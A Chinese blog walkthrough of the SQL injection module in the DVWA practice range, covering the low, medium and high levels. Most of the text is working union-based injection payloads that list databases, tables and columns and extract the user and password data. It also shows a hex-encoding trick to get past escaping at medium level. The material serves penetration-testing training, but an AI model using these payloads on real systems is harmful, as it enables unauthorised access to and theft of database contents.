DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤
SQL注入的low级别需要我们输入用户的ID作为参数,后端的SQL语句根据用户ID查询用户的信息并返回,执行SQL之前并没有过滤,源码如下
我们输入一个正确的用户ID : 1 , 发现输入的参数拼接到了url地址栏中,由此推断,此关卡使用的请求方式为GET请求,我们直接在输入框中构造payload即可,查询到的用户信息回显到了页面中,可以尝试联合注入
接下来测试注入点,输入 1' and true # 使SQL恒成立,页面正常显示了查询到的用户数据,再输入 1' and false # 使SQL恒不成立,页面空显示,即没有查到用户的数据,由此推断出用户输入的参数会影响SQL的语法结构,从而影响SQL的执行结果,即存在SQL注入,并且注入点为单引号字符型注入
确认注入点以后,我们使用联合注入构造payload,获取所有数据库
-1' union select 1,(select group_concat(schema_name)
from information_schema.schemata) #
获取所有表
-1' union select 1,(select group_concat(table_name)
from information_schema.tables
where table_schema='dvwa') #
获取所有字段
-1' union select 1,(select group_concat(column_name)
from information_schema.columns
where table_schema='dvwa' and table_name='users') #
获取数据
-1' union select 1,(select group_concat(user,password) from dvwa.users) #
medium级别使用下拉框提交数据,请求方式为POST请求,需要抓包来修改提交的参数
根据输入的用户ID查询用户信息并在页面中回显,有显示位,可以使用联合注入
执行SQL之前,使用mysqli_real_escape_string()函数转译了特殊字符,可以使用Hex()编译绕过,源码如下
使用抓包软件拦截POST请求,修改参数,使用联合注入构造payload,获取所有数据库
-1 union select 1,(select group_concat(schema_name)
from information_schema.schemata) -- a
使用MySQL的Hex函数编译需要查询的表名,并在结果前面加上0x,从而绕过特殊字符转译,获取表
mysql> select Hex('dvwa');
-1 union select 1,(select group_concat(table_name)
from information_schema.tables
where table_schema=0x64767761) -- a
将表名也使用MySQL的Hex()转译,获取所有字段
注意:post请求的内容中不要换行
-1 union select 1,(select group_concat(column_name)
from information_schema.columns
where table_schema=0x64767761 and table_name=0x7573657273) -- a
hign级别将参数保存到session中,在输入框直接构造payload即可
后端代码从session中获取用户输入的参数,并根据用户ID获取用户信息并回显到页面中,有回显,可以使用联合注入,并且执行SQL之前没有对用户输入的参数进行过滤,源码如下
获取数据库
-1' union select 1,(select group_concat(schema_name)
from information_schema.schemata) #
获取表
-1' union select 1,(select group_concat(table_name)
from information_schema.tables
where table_schema='dvwa') #
获取字段
-1' union select 1,(select group_concat(column_name)
from information_schema.columns
where table_schema='dvwa' and table_name='users') #